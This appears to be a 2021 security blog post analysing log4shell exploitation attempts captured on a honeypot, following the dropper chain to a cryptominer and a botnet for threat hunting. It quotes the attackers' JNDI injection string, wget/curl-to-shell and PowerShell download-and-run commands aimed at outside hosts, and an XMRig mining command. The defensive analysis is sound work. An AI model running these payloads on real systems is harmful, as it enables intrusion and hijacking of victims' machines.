Introduction
A cyber “drop the mic” moment consumed the time, effort, and resources for nearly all security teams this December (2021). A critical vulnerability in a java package called log4j was disclosed under the pseudonym log4shell.
If you haven’t read about it, where have you been!? I am not going to go into the details of the vulnerability, however, if you do want more content I highly recommend reading this article from Snyk.
In this blog post, I am going to dive into a real investigation into attackers trying to exploit this vulnerability. I am going to pick apart parts of the exploit using simple and easy-to-use tools in order to give you an idea of the level of “badness” that is spanning across the ether targeting log4j vulnerabilities.
Some context
I was able to collect this evidence via a honeypot server – if you are going to set something like this up, take care of your OpSec and make sure the honeypot does not have the ability to touch any live or production systems/data.
This is not a full forensic deep dive or a reverse engineering tutorial for a log4j exploit. Rather a stripped-down and simplistic view on how you could investigate the exploit attempts you may identify to pull some IOCs for threat hunting.
As this is a honeypot, we are dealing with mass scanning and exploitation attempts. Something you are very likely to have seen traverse your perimeter.
The Investigation
As I mentioned above, I had set up a simple honeypot server that exposed a vulnerable log4j application onto the internet. I was collecting logfile into a Splunk instance for intelligence collection and exploit detection.
It wasn’t long (only a few hours) until *PING* the alert fired that an exploit attempt was detected. A JNDI query was input into my application:
hxxp://[REDACTED]?s=${jndi:ldap://192[.]46[.]216[.]224:1389/Exploit}
Additional IoCs were found within the log data:
src_ip: 5[.]157[.]38[.]50
user_agent: Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox
Essentially the threat actor is trying to get my application to action a remote LDAP query to an external location. Now I want to find out what the malicious LDAP query would actually do…
MalwareTech a.k.a Marcus Hutchins recently published some really handy, and simple tools on how to dig into these types of attempts. This can be found on Github here.
I ran FetchPayload.py against the LDAP query in the log files.
As you can see in the above image the script was able to find the malicious java class and save it as Explpot.class_ so I ran strings on this class to look for the malicious process or payloads.
There was a lot of guff, but a few stood out:
(wget -qO - http://51[.]250[.]28[.]5/.l/log || curl hxxp://51[.]250[.]28[.]5/.l/log) | sh
(new-object System.Net.WebClient).DownloadFile('hxxp://150[.][.][.]
(new-object System.Net.WebClient).DownloadFile('hxxps://raw.githubusercontent[.]
Straight away you can see some dodgy Powershell commands that will download whatever s.cmd is and install XMRig Cryptominer. I downloaded s.cmd which contained further bash commands:
powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('hxxp://68[.]183[.]165[.]105:80/wp-content/themes/twentyseventeen/xmrig64.exe','xmrig.exe')
xmrig.exe -o pool.supportxmr.com:5555 -u 46QBumovWy4dLJ4R8wq8JwhHKWMhCaDyNDEzvxHFmAHn92EyKrttq6LfV6if5UYDAyCzh3egWXMhnfJJrEhWkMzqTPzGzsE -p
If you can’t figure this one out, it’s yet another Cryptominer. The Powershell commands will download XMRig and run the program. Your system will start to mine Monero cryptocurrency.
“But what about the first wget command listed above?” I hear you cry. Fear not – this is where it gets juicy…
(wget -qO - http://51[.]250[.]28[.]5/.l/log || curl hxxp://51[.]250[.]28[.]5/.l/log) | sh
Running these commands I download log. You can use the file command on a file to gather information on what the file is:
#> file log
log: ASCII text
Just a harmless text file, right? No. Let’s look at the content:
There is a trend here, the malicious java class that would have been executed due to the log4j vulnerability is a maze of files that downloads more files that download more files and then install badness. Also called a dropper.
Naturally, I downloaded pty3 and pty4 – these are Linux binary executable files! Finally something juicy. Now I could go into full reverse engineer mode, but that takes too long. So I submitted the suspicious binary to Joe Sandbox and you can see the report here.
We discovered an IoT Botnet known as; Muhstik Tsunami.
Next on the list is to look into what ldm is, being hosted on yet another WordPress web application.ldm is yet another shell script! A very long one. Analysed in a sandbox again. Reading the report, this is another Command and Control binary, likely a Botnet again.
Conclusion
So we have detected a log4j exploit attempt in our logfiles from the honeypot server. We were able to safely download and investigate the malicious java class and subsequent dropper files using simple tools provided by MalwareTech and inbuilt Linux commands (strings, file and so on…)
Cryptomining, Botnets, and C2 were all in the mix of badness found from one initial exploited vulnerability.
We can collect every IP, Domain, File Name, File Hash we come across – these are our IoCs and can now hunt through our environments to see if any other systems or services were successfully exploited.
I hope you found this interesting and helpful. Thanks for reading!
Extra Info:
#> sha256sum *
64d85a180116e4258c64afc316a254b3f8dbe2960f150221ced9d4ba1c5c3b4b Exploit.class_
8e10768d8dfd47c41420e683c6010c3d822783add70c016d3608f0291743cdcc ldm
db0e6eb3c00be4129cad78cb9708ce6ef8bb02b1ed718d43ec86391737b8a27d log
4a719439027a279b14a05d650691bed6e0a437ae87fb55895406616a55c6c720 pty3
b30702b6432c4a5ca65ebc060b72f28ba71f60b20bb38b6f858af5e6aa61896f pty4
bfb7537dc73448e36c62fcd0ee7a1d4269290df5744628a9c2f021f36fb8755c s.cmd
white_check_mark
eyes
+one
#> file *
Exploit.class_: compiled Java class data, version 52.0 (Java 1.8)
ldm: Bourne-Again shell script, ASCII text executable, with very long lines
log: ASCII text
pty3: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
pty4: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
s.cmd: ASCII text, with CRLF line terminators
HackableYou 